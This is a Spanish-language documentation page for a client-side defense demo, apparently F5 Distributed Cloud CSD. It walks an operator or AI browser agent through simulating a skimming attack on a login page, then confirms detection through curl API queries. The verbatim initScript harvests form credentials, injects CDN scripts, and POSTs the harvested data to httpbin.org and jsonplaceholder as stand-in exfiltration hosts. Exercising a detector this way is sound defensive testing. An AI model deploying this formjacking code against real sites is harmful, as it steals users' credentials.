- Inicio
- Defensa del lado del cliente
- Demo
- Fase 2 — Ataque
Fase 2 — Ataque
La Fase 2 genera tráfico de ataque simulado contra la aplicación protegida y confirma que CSD lo detectó. La Fase 1 debe estar completa — todas las verificaciones del Paso 7 deben mostrar PASS — antes de continuar.
Paso 8: Simulación de Ataque
Sección titulada «Paso 8: Simulación de Ataque»Una vez verificada la infraestructura (todas las verificaciones del Paso 7 de la Fase 1 muestran PASS), ejecute los scripts de simulación de ataque para generar detecciones de CSD. Los scripts están definidos en la guía de Detección de activación y en la Biblioteca de scripts de ataque.
Ejecución Automatizada por IA
Sección titulada «Ejecución Automatizada por IA»Los asistentes de IA con herramientas de automatización de navegador ejecutan la simulación de ataque de forma programática:
- Navegar con initScript — primero navegue a
about:blankpara garantizar un contexto de documento limpio (evita initScripts obsoletos de navegaciones anteriores), luegonavigate_pageahttp://$F5XC_DOMAINNAME/#/logincon uninitScriptque guarde los referencias nativas desetInterval,clearInterval,fetchyconsole.logantes de que zone.js las modifique, sondee los campos del formulario de inicio de sesión, rellene las credenciales mediante el setter nativo deHTMLInputElement.prototype.value, y ejecute inmediatamente el Script de Detección Combinado en línea. Utilice el initScript textual que se indica a continuación. - Cerrar el Banner de Bienvenida —
press_keyconEscapepara cerrar el Banner de Bienvenida. En visitas posteriores, el banner puede no aparecer (cookies persistidas). El diálogo de consentimiento de cookies se cierra automáticamente con la tecla Escape. - Esperar la finalización — espere 10 segundos para que se completen todas las devoluciones de llamada de carga/error de scripts CDN y las resoluciones de promesas fetch.
- Capturar evidencia —
list_console_messagespara verificar[CSD Demo] Simulation completey los resultados de carga de CDN;list_network_requestsfiltrado por tiposscriptyfetchpara verificar los códigos de estado HTTP (200/201para éxito,pendingpara solicitudes retenidas).
initScript de la Fase 2 (textual — usar exactamente como está escrito):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);Ejecución Manual
Sección titulada «Ejecución Manual»Los operadores sin herramientas de automatización de navegador realizan los pasos manualmente:
- Navegar a la página de inicio de sesión de la aplicación protegida:
http://xF5XC_DOMAINNAMEx/#/login - Ingresar credenciales ficticias — escriba
test@example.comen el campo Email yP@ssword123en el campo Password (no envíe el formulario) - Abrir DevTools — presione F12 y cambie a la pestaña Console
- Ejecutar el Script de Detección Combinado — pegue el script de Detección de activación — Ejecutar el Script de Simulación Combinado en la consola y presione Enter
- Verificar la salida de la consola — confirme que la salida por fases
[CSD Demo]muestre: recolección de campos del formulario, inyección de scripts desde 4 dominios CDN y exfiltración de datos a 2 endpoints
Qué se Activa
Sección titulada «Qué se Activa»| Señal | Comportamiento | Detección |
|---|---|---|
| Recolección de campos del formulario | Lee los valores de los campos de entrada de email y contraseña | Scripts que leen campos de formulario sensibles — marcados como Riesgo Alto |
| Inyección de scripts | Inyecta 4 etiquetas <script> desde cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io | Hasta 4 nuevos dominios de scripts de terceros detectados (la disponibilidad del CDN varía) |
| Exfiltración de datos | Envía datos recolectados mediante fetch a www.httpbin.org y jsonplaceholder.typicode.com | Llamadas de red a dominios externos |
Evidencia
Sección titulada «Evidencia»El asistente de IA debe reportar lo siguiente. Para la ejecución automatizada por IA, la evidencia se captura de forma programática mediante list_console_messages (la función de sondeo del initScript registra los resultados en la consola). Para la ejecución manual, el operador lee la salida de la consola del navegador.
| Verificación | Esperado | Estado |
|---|---|---|
| Página de inicio de sesión cargada | 200 OK en http://$F5XC_DOMAINNAME/#/login | PASS / FAIL |
| Script de consola ejecutado | [CSD Demo] Simulation complete en la salida de la consola | PASS / FAIL |
| Campos recolectados | Cantidad > 0 en la salida de la consola | PASS |
| Scripts inyectados | 1–4 dominios CDN en la salida de la consola (algunos pueden fallar con errores de recursos) | PASS si aparece algún dominio CDN |
| Canales de exfiltración | 2 intentos de fetch POST en la salida de la consola | PASS |
Paso 9: Verificación de Detección mediante API
Sección titulada «Paso 9: Verificación de Detección mediante API»Consulte los endpoints de la API de CSD para confirmar que aparecieron las detecciones. Use el bucle de sondeo: consulte /detected_domains cada 60 segundos; continúe tan pronto como DET-3 pase. Si DET-3 no pasa después de 10 minutos, verifique la configuración de CSD. Si DET-3 no pasa después de 30 minutos, detenga el proceso e informe al operador. Estos endpoints están documentados en la Referencia de API y usan la misma autenticación y espacio de nombres que los pasos anteriores.
Scripts Detectados
Sección titulada «Scripts Detectados»Consulte los scripts detectados en las últimas 24 horas:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| Campo | Esperado | Estado |
|---|---|---|
total | > 0 (scripts detectados) | PASS si > 0; PENDING si es 0 pero /detected_domains muestra dominios de exfiltración |
| Nombres de scripts | Incluye dominios CDN (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) en script_name | PASS si aparecen los dominios CDN inyectados |
Dominios Detectados
Sección titulada «Dominios Detectados»curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| Campo | Esperado | Estado |
|---|---|---|
total_domains | > 0 | PASS si > 0 |
| Lista de dominios | Incluye dominios CDN y de exfiltración | PASS si aparecen los dominios esperados |
Campos de Formulario
Sección titulada «Campos de Formulario»NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| Campo | Esperado | Estado |
|---|---|---|
total | > 0 | PASS si > 0; PENDING si es 0 pero DET-3 pasa |
name | Incluye email, password | PASS si aparecen los campos sensibles |
sensitivity | Sensitive para los campos de email/contraseña | PASS si el ML clasificó correctamente |
Resumen de Evidencia de la Fase 2
Sección titulada «Resumen de Evidencia de la Fase 2»Después de todas las consultas de detección, presente el estado final de detección:
| ID de Prueba | Verificación | Estado |
|---|---|---|
| DET-1 | Scripts detectados (endpoint /scripts) | PASS si > 0; PENDING si está vacío pero DET-3 pasa |
| DET-2 | Dominios CDN detectados | PASS / FAIL |
| DET-3 | Dominios de exfiltración detectados (/detected_domains) | Indicador principal — PASS si aparecen www.httpbin.org o jsonplaceholder.typicode.com |
| DET-4 | Campos de formulario detectados (endpoint /formFields) | PASS si > 0; PENDING si está vacío pero DET-3 pasa |
Fase 2 completa. Continúe a Fase 3 — Mitigar para aplicar reglas de mitigación y verificar que los dominios estén bloqueados.